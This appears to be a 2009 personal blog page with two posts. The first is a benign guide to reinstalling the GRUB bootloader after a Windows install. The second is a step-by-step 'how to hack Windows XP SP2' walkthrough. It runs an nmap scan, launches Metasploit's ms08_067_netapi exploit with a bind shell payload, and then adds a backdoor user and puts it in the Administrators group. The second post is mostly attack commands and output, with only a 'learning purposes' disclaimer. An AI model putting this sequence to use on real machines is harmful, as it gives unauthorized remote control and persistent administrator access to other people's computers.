Wednesday, June 17, 2009

How to recover your ubuntu after reinstalling Windows

Yesterday I got mood to give a try windows7 rc which I downloaded 2 days back. But I got problem because i had to reinstall ubuntu which is already there. And i don't wanted to do that. I did some googling and finally I got how to recover ubuntu. Actually after installing windows it remove previous bootloader from MBR(Master Boot Record) and reinstall fresh bootloader in MBR. To reinstall previous bootloader boot from ubuntu linux live cd and open a terminal. Follow the following step :

1> sudo grub
You will get "grub>" command prompt.

2> find /boot/grub/stage1
If you get "Error 15: File not found", try the following:
find /grub/stage1

3> Using this information, set the root device (fill in X,Y with whatever the find command returned):
grub> root (hdX,Y)

4> grub> setup (hd0)

5> Exit Grub:
grub> quit

Enjoy !!
ps: For extra information click here.

Update:
If you are updating/recovering grub with ubuntu 10.04 or later, try following command: (source)

You’ll need to know the device name of your primary ubuntu partition, in this example I’m assuming it’s /dev/sda5
mount /dev/sda5 /mnt
mount --bind /proc /mnt/proc
mount --bind /dev /mnt/dev
mount --bind /sys /mnt/sys
chroot /mnt
update-grub2
grub-install /dev/sda


Enjoy Linux !!

Sunday, June 14, 2009

How to hack windows XP sp2 with metasploit framework

After a long time I am writing this post. I was trying some hands on with metasploit framework. For exercise i choosed fedora9 as my attacker machine(bz i liked fedora) and installed framework with postgresql DB support. For attacking machine i choosed machine with windows XP with service pack 2. From this excercise i got very interesting result and even that result surprised me. The result was I got , xp command promt and from that promt first of all I created two user( one is administrator and other normal). For starting i think this is ok. The procedure i follows is as: I started from nmap port scanning.
% nmap -A -T4
This scan gave me all open port on xp. After getting open port i use framework to perform actual attack. Open msfconsole on terminal.
%msfconsole
Now run following command
%msf->use exploit/windows/smb/ms08_067_netapi
%msf->set RHOST 192.168.xxx.xxx
%msf->set RPORT 445
%msf->set PAYLOAD generic/shell_bind_tcp
now run final command to attack
%msf->exploit
now if lucky, you will get following command prompt. Now you can do whatever you want to do.

For adding user from command prompt use following command
%C:\WINDOWS\system32>net user testuser test123 /add
the message from terminal
"net user testuser test123 /add
The command completed successfully."

For adding administrator use following command
%C:\WINDOWS\system32>net localgroup Administrators /add testuser
or C:\WINDOWS\system32>net localgroup “Power Users” /add testuser(quotes required here)
the message
"net localgroup Administrators /add testuser
The command completed successfully."

Now type exit on command prompt to exit
#C:\Documents and Settings\Administrator\Desktop>exit
exit

This is very starting. Still choosing module and attacking with different payload, etc. there are lots of thing to learn. I posted here just because i thought it will help you to learn security.

ps: This post is just for learning perpous. Please do not use in unethical manner. Respect others privacy.